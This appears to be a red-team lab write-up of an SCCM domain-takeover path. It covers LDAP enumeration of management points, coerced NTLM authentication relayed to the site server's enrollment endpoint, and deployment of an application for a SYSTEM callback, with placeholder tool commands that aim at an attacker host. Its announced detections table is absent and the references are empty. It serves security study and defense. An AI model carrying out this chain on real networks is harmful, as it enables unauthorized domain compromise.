Abusing SCCM for Domain Takeover

Background

Microsoft Configuration Manager (SCCM/MECM) is everywhere in enterprise Windows estates, and its trust model makes it a high-value target. A site server effectively has SYSTEM-level reach over every enrolled device - which means a single coerced authentication can cascade into full domain compromise.

This writeup walks the path on an authorized lab engagement: from an unprivileged domain foothold, through machine-account relaying, to a SYSTEM context on the primary site server. Hostnames are placeholders and commands are illustrative pseudo-content. I'll flag the OPSEC tradeoffs at each step.

Enumerating SCCM

The first job is finding the site server and management points. SCCM scatters breadcrumbs across LDAP and SMB - the System Management container is readable by any authenticated user. Run Get-ADObject against it, then confirm the site code over HTTP:

# Find management points via LDAP
Get-ADObject -LDAPFilter "(objectClass=mSSMSManagementPoint)" `
  -SearchBase "CN=System Management,CN=System,DC=lab,DC=local" `
  -Properties dNSHostName,mSSMSCapabilities

# Confirm the site code over HTTP
Invoke-WebRequest "http://<site-server>.lab.local/SMS_MP/.sms_aut?MPLIST"

With the site server identified as <site-server>.lab.local, the next step is to coerce it - or another privileged machine - into authenticating to us.

The relay

Machine accounts authenticate over NTLM, and SCCM site servers will happily talk to a management point endpoint. We stand up a relay targeting the site server's HTTP enrollment interface, then trigger authentication from a target host:

# stand up the relay against the enrollment endpoint
relay-tool -t https://<site-server>.lab.local/enrollment \
  --adcs --template "Machine"

# in a second session - trigger auth from the target host
coerce-tool --from <target-host> --to <attacker-host>

Application deployment

Once relayed, we hold a privileged context on the SCCM server. From here, the classic path is to define an application that runs an arbitrary command in SYSTEM context and deploy it to a device collection we control.

Within a policy-refresh cycle the payload executes and we receive a callback running as NT AUTHORITY\SYSTEM on the site server - which, given SCCM's reach, is effectively game over for the lab domain.

Why this works

• Machine accounts can authenticate to the management point.
• The site server trusts that authentication for enrollment.
• Application deployment grants arbitrary SYSTEM execution by design.

Treat the SCCM site server as a Tier-0 asset. If it isn't in your Tier-0 boundary, your AD tiering model already has a hole in it.

OPSEC & cleanup

After validating impact, remove the application, the deployment, and the device-collection membership you created. Relayed enrollment leaves traces in SMS_StateMessage and the site server logs - note them in your report so the blue team can build detections.

Artifacts & detections

The table below maps what the technique leaves behind to where defenders can catch it:

Registry persistence, if used, typically lands under HKLM\SOFTWARE\Microsoft\CCM - review it during cleanup and document anything you touch.

References